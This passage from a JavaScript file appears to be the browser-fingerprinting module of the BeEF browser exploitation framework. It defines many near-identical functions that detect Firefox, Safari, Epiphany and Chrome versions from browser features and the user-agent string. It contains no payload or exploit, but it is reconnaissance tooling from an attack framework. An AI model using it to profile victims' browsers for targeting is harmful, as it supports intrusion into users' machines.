return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/70./) != null;
715
},
716
717
/**
718
* Returns true if FF71
719
* @example: beef.browser.isFF71()
720
*/
721
isFF71: function () {
722
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/71./) != null;
723
},
724
725
/**
726
* Returns true if FF72
727
* @example: beef.browser.isFF72()
728
*/
729
isFF72: function () {
730
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/72./) != null;
731
},
732
733
/**
734
* Returns true if FF73
735
* @example: beef.browser.isFF73()
736
*/
737
isFF73: function () {
738
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/73./) != null;
739
},
740
741
/**
742
* Returns true if FF74
743
* @example: beef.browser.isFF74()
744
*/
745
isFF74: function () {
746
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/74./) != null;
747
},
748
749
/**
750
* Returns true if FF75
751
* @example: beef.browser.isFF75()
752
*/
753
isFF75: function () {
754
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/75./) != null;
755
},
756
757
/**
758
* Returns true if FF76
759
* @example: beef.browser.isFF76()
760
*/
761
isFF76: function () {
762
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/76./) != null;
763
},
764
765
/**
766
* Returns true if FF77
767
* @example: beef.browser.isFF77()
768
*/
769
isFF77: function () {
770
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/77./) != null;
771
},
772
773
/**
774
* Returns true if FF78
775
* @example: beef.browser.isFF78()
776
*/
777
isFF78: function () {
778
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/78./) != null;
779
},
780
781
/**
782
* Returns true if FF79
783
* @example: beef.browser.isFF79()
784
*/
785
isFF79: function () {
786
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/79./) != null;
787
},
788
789
/**
790
* Returns true if FF80
791
* @example: beef.browser.isFF80()
792
*/
793
isFF80: function () {
794
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/80./) != null;
795
},
796
797
/**
798
* Returns true if FF81
799
* @example: beef.browser.isFF81()
800
*/
801
isFF81: function () {
802
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/81./) != null;
803
},
804
805
/**
806
* Returns true if FF82
807
* @example: beef.browser.isFF82()
808
*/
809
isFF82: function () {
810
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/82./) != null;
811
},
812
813
/**
814
* Returns true if FF83
815
* @example: beef.browser.isFF83()
816
*/
817
isFF83: function () {
818
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/83./) != null;
819
},
820
821
/**
822
* Returns true if FF84
823
* @example: beef.browser.isFF84()
824
*/
825
isFF84: function () {
826
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/84./) != null;
827
},
828
829
/**
830
* Returns true if FF85
831
* @example: beef.browser.isFF85()
832
*/
833
isFF85: function () {
834
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/85./) != null;
835
},
836
837
/**
838
* Returns true if FF86
839
* @example: beef.browser.isFF86()
840
*/
841
isFF86: function () {
842
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/86./) != null;
843
},
844
845
/**
846
* Returns true if FF87
847
* @example: beef.browser.isFF87()
848
*/
849
isFF87: function () {
850
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/87./) != null;
851
},
852
853
/**
854
* Returns true if FF88
855
* @example: beef.browser.isFF88()
856
*/
857
isFF88: function () {
858
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/88./) != null;
859
},
860
861
/**
862
* Returns true if FF89
863
* @example: beef.browser.isFF89()
864
*/
865
isFF89: function () {
866
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
867
},
868
869
/**
870
* Returns true if FF90
871
* @example: beef.browser.isFF90()
872
*/
873
isFF90: function () {
874
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
875
},
876
877
/**
878
* Returns true if FF91
879
* @example: beef.browser.isFF91()
880
*/
881
isFF91: function () {
882
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
883
},
884
885
/**
886
* Returns true if FF92
887
* @example: beef.browser.isFF92()
888
*/
889
isFF92: function () {
890
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
891
},
892
893
/**
894
* Returns true if FF93
895
* @example: beef.browser.isFF93()
896
*/
897
isFF93: function () {
898
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
899
},
900
901
/**
902
* Returns true if FF94
903
* @example: beef.browser.isFF94()
904
*/
905
isFF94: function () {
906
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
907
},
908
909
/**
910
* Returns true if FF95
911
* @example: beef.browser.isFF95()
912
*/
913
isFF95: function () {
914
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
915
},
916
917
/**
918
* Returns true if FF96
919
* @example: beef.browser.isFF96()
920
*/
921
isFF96: function () {
922
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
923
},
924
925
/**
926
* Returns true if FF97
927
* @example: beef.browser.isFF97()
928
*/
929
isFF97: function () {
930
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
931
},
932
933
/**
934
* Returns true if FF98
935
* @example: beef.browser.isFF98()
936
*/
937
isFF98: function () {
938
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
939
},
940
941
/**
942
* Returns true if FF99
943
* @example: beef.browser.isFF99()
944
*/
945
isFF99: function () {
946
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
947
},
948
949
/**
950
* Returns true if the browser is any version of Firefox.
951
* @example: beef.browser.isFFbowser()
952
*/
953
isFFbowser: function () {
954
const parser = bowser.getParser(navigator.userAgent);
955
const browserName = parser.getBrowserName();
956
return browserName == 'Firefox';
957
},
958
959
/**
960
* Returns true if the browser is any version of Firefox.
961
* @example: beef.browser.isFF()
962
*/
963
isFF: function () {
964
var legacyCheck = this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58()|| this.isFF59() || this.isFF60() || this.isFF61() || this.isFF62() || this.isFF63() || this.isFF64() || this.isFF65() || this.isFF66() || this.isFF67() || this.isFF68() || this.isFF69() || this.isFF70() || this.isFF71() || this.isFF72() || this.isFF73() || this.isFF74() || this.isFF75() || this.isFF76() || this.isFF77() || this.isFF78() || this.isFF79() || this.isFF80() || this.isFF81() || this.isFF82() || this.isFF83() || this.isFF84() || this.isFF85() || this.isFF86() || this.isFF87() || this.isFF88() || this.isFF89() || this.isFF90() || this.isFF91() || this.isFF92() || this.isFF93() || this.isFF94() || this.isFF95() || this.isFF96() || this.isFF97() || this.isFF98() || this.isFF99();
965
return legacyCheck || this.isFFbowser();
966
},
967
968
/**
969
* Returns true if Safari 4.xx
970
* @example: beef.browser.isS4()
971
*/
972
isS4: function () {
973
return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
974
},
975
976
/**
977
* Returns true if Safari 5.xx
978
* @example: beef.browser.isS5()
979
*/
980
isS5: function () {
981
return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
982
},
983
984
/**
985
* Returns true if Safari 6.xx
986
* @example: beef.browser.isS6()
987
*/
988
isS6: function () {
989
return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
990
},
991
992
/**
993
* Returns true if Safari 7.xx
994
* @example: beef.browser.isS7()
995
*/
996
isS7: function () {
997
return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
998
},
999
1000
/**
1001
* Returns true if Safari 8.xx
1002
* @example: beef.browser.isS8()
1003
*/
1004
isS8: function () {
1005
return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
1006
},
1007
1008
/**
1009
* Returns true if Safari.
1010
* @example: beef.browser.isS()
1011
*/
1012
isS: function () {
1013
return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
1014
},
1015
1016
/**
1017
* Returns true if Webkit based
1018
*/
1019
1020
1021
isWebKitBased: function () {
1022
/*
1023
* **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
1024
*/
1025
return (!window.opera && !window.chrome
1026
&& window.navigator.userAgent.match(/ Version\/\d/) != null
1027
&& !window.globalStorage
1028
&& !!window.getComputedStyle
1029
&& !("MozWebSocket" in window));
1030
},
1031
1032
/**
1033
* Return true if Epiphany
1034
* @example: beef.browser.isEpi()
1035
*/
1036
isEpi: function () {
1037
// Epiphany is based on webkit
1038
// due to the uncertainty of webkit version vs Epiphany versions tracking.
1039
// -- do webkit based checking (i.e. do safari checks)
1040
return this.isWebKitBased() && window.navigator.userAgent.match(/Epiphany\//) != null;
1041
},
1042
1043
1044
/**
1045
* Returns true if Chrome 5.
1046
* @example: beef.browser.isC5()
1047
*/
1048
isC5: function () {
1049
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
1050
},
1051
1052
/**
1053
* Returns true if Chrome 6.
1054
* @example: beef.browser.isC6()
1055
*/
1056
isC6: function () {
1057
return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
1058
},
1059
1060
/**
1061
* Returns true if Chrome 7.
1062
* @example: beef.browser.isC7()
1063
*/
1064
isC7: function () {
1065
return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
1066
},
1067
1068
/**
1069
* Returns true if Chrome 8.
1070
* @example: beef.browser.isC8()
1071
*/
1072
isC8: function () {
1073
return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
1074
},
1075
1076
/**
1077
* Returns true if Chrome 9.
1078
* @example: beef.browser.isC9()
1079
*/
1080
isC9: function () {
1081
return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
1082
},
1083
1084
/**
1085
* Returns true if Chrome 10.
1086
* @example: beef.browser.isC10()
1087
*/
1088
isC10: function () {
1089
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
1090
},
1091
1092
/**
1093
* Returns true if Chrome 11.
1094
* @example: beef.browser.isC11()
1095
*/
1096
isC11: function () {
1097
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
1098
},
1099
1100
/**
1101
* Returns true if Chrome 12.
1102
* @example: beef.browser.isC12()
1103
*/
1104
isC12: function () {
1105
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
1106
},
1107
1108
/**
1109
* Returns true if Chrome 13.
1110
* @example: beef.browser.isC13()
1111
*/
1112
isC13: function () {
1113
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
1114
},
1115
1116
/**
1117
* Returns true if Chrome 14.
1118
* @example: beef.browser.isC14()
1119
*/
1120
isC14: function () {
1121
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
1122
},
1123
1124
/**
1125
* Returns true if Chrome 15.
1126
* @example: beef.browser.isC15()
1127
*/
1128
isC15: function () {
1129
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
1130
},
1131
1132
/**
1133
* Returns true if Chrome 16.
1134
* @example: beef.browser.isC16()
1135
*/
1136
isC16: function () {
1137
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
1138
},
1139
1140
/**
1141
* Returns true if Chrome 17.
1142
* @example: beef.browser.isC17()
1143
*/
1144
isC17: function () {
1145
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
1146
},
1147
1148
/**
1149
* Returns true if Chrome 18.
1150
* @example: beef.browser.isC18()
1151
*/
1152
isC18: function () {
1153
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
1154
},
1155
1156
/**
1157
* Returns true if Chrome 19.
1158
* @example: beef.browser.isC19()
1159
*/
1160
isC19: function () {
1161
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
1162
},
1163
1164
/**
1165
* Returns true if Chrome for iOS 19.
1166
* @example: beef.browser.isC19iOS()
1167
*/
1168
isC19iOS: function () {
1169
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
1170
},
1171
1172
/**
1173
* Returns true if Chrome 20.
1174
* @example: beef.browser.isC20()
1175
*/
1176
isC20: function () {
1177
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
1178
},
1179
1180
/**
1181
* Returns true if Chrome for iOS 20.
1182
* @example: beef.browser.isC20iOS()
1183
*/
1184
isC20iOS: function () {
1185
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
1186
},
1187
1188
/**
1189
* Returns true if Chrome 21.
1190
* @example: beef.browser.isC21()
1191
*/
1192
isC21: function () {
1193
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
1194
},
1195
1196
/**
1197
* Returns true if Chrome for iOS 21.
1198
* @example: beef.browser.isC21iOS()
1199
*/
1200
isC21iOS: function () {
1201
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
1202
},
1203
1204
/**
1205
* Returns true if Chrome 22.
1206
* @example: beef.browser.isC22()
1207
*/
1208
isC22: function () {
1209
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
1210
},
1211
1212
/**
1213
* Returns true if Chrome for iOS 22.
1214
* @example: beef.browser.isC22iOS()
1215
*/
1216
isC22iOS: function () {
1217
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
1218
},
1219
1220
/**
1221
* Returns true if Chrome 23.
1222
* @example: beef.browser.isC23()
1223
*/
1224
isC23: function () {
1225
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
1226
},
1227
1228
/**
1229
* Returns true if Chrome for iOS 23.
1230
* @example: beef.browser.isC23iOS()
1231
*/
1232
isC23iOS: function () {
1233
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
1234
},
1235
1236
/**
1237
* Returns true if Chrome 24.
1238
* @example: beef.browser.isC24()
1239
*/
1240
isC24: function () {
1241
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
1242
},
1243
1244
/**
1245
* Returns true if Chrome for iOS 24.
1246
* @example: beef.browser.isC24iOS()
1247
*/
1248
isC24iOS: function () {
1249
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
1250
},
1251
1252
/**
1253
* Returns true if Chrome 25.
1254
* @example: beef.browser.isC25()
1255
*/
1256
isC25: function () {
1257
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
1258
},
1259
1260
/**
1261
* Returns true if Chrome for iOS 25.
1262
* @example: beef.browser.isC25iOS()
1263
*/
1264
isC25iOS: function () {
1265
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
1266
},
1267
1268
/**
1269
* Returns true if Chrome 26.
1270
* @example: beef.browser.isC26()
1271
*/
1272
isC26: function () {
1273
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
1274
},
1275
1276
/**
1277
* Returns true if Chrome for iOS 26.
1278
* @example: beef.browser.isC26iOS()
1279
*/
1280
isC26iOS: function () {
1281
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
1282
},
1283
1284
/**
1285
* Returns true if Chrome 27.
1286
* @example: beef.browser.isC27()
1287
*/
1288
isC27: function () {
1289
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
1290
},
1291
1292
/**
1293
* Returns true if Chrome for iOS 27.
1294
* @example: beef.browser.isC27iOS()
1295
*/
1296
isC27iOS: function () {
1297
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
1298
},
1299
1300
/**
1301
* Returns true if Chrome 28.
1302
* @example: beef.browser.isC28()
1303
*/
1304
isC28: function () {
1305
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
1306
},
1307
1308
/**
